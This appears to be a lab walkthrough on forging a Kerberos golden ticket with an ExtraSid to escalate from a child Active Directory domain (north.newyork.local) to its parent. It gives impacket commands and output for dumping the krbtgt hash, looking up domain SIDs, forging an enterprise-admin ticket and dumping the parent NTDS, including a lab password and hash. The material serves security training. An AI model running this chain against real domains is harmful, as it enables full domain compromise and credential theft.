# Golden ticket + ExtraSid

* We have done the exploitation on one command with impacket raiseChild.py, now let’s just do the same but step by step and create the golden ticket.
* Full explanation on the attack can be found here : <https://adsecurity.org/?p=1640>
* First dump the krbtgt of the domain we own

```
# dump child ntds and get krbtgt NT hash
secretsdump.py -just-dc-user north/krbtgt \ 
 north.newyork.local/fernando.alonzo:'IDr1R3allyF@sTF1!'@192.168.56.11

...
krbtgt:502:aa3b435b51404eeaad3b435b51404ee:13354bc6e1b48fff8d66a2090e909b27:::
..
```

<figure><img src="/files/AV0zGTm7USu13aZ3EkG2" alt=""><figcaption></figcaption></figure>

* Now get the child and parent domain SID

Get SID for north.newyork.local

```
# dump child domain SID 
lookupsid.py  -domain-sids north.newyork.local/fernando.alonzo:'IDr1R3allyF@sTF1!'@192.168.56.11 0

[*] Brute forcing SIDs at 192.168.56.11
[*] StringBinding ncacn_np:192.168.56.11[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-3634065772-4036021599-3644360361

```

Get SID for NewYork.local

<pre><code><strong># dump parent domain SID 
</strong>lookupsid.py  -domain-sids north.newyork.local/fernando.alonzo:'IDr1R3allyF@sTF1!'@192.168.56.10 0

[*] Brute forcing SIDs at 192.168.56.10
[*] StringBinding ncacn_np:192.168.56.10[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-620482180-1620433373-1814187987
</code></pre>

* And now create the golden ticket : we add “-519” at the end of the extra-sid (means enterprise admin) (list of domain SID here : <https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers>)

```
ticketer.py -nthash 13354bc6e1b48fff8d66a2090e909b27\ #krbtgt Hash
 -domain-sid S-1-5-21-3634065772-4036021599-3644360361 \ #north.newyork.local SID
 -domain north.newyork.local \
 -extra-sid S-1-5-21-620482180-1620433373-1814187987-519 \ #newyork.local SID + Extra-SID
 goldenuser
```

<figure><img src="/files/PPuRlZMkodgg0VZYB5kO" alt=""><figcaption></figcaption></figure>

The task for you is to add the ccname and do a -no-pass like we have done before :)&#x20;

```
export KRB5CCNAME=/home/jefe/delegation/goldenuser.ccache
```

* And we use the ticket to dump the parent domain NTDS

```
secretsdump -k -no-pass -just-dc-ntlm \
 north.newyork.local/goldenuser@nyc.newyork.local

```


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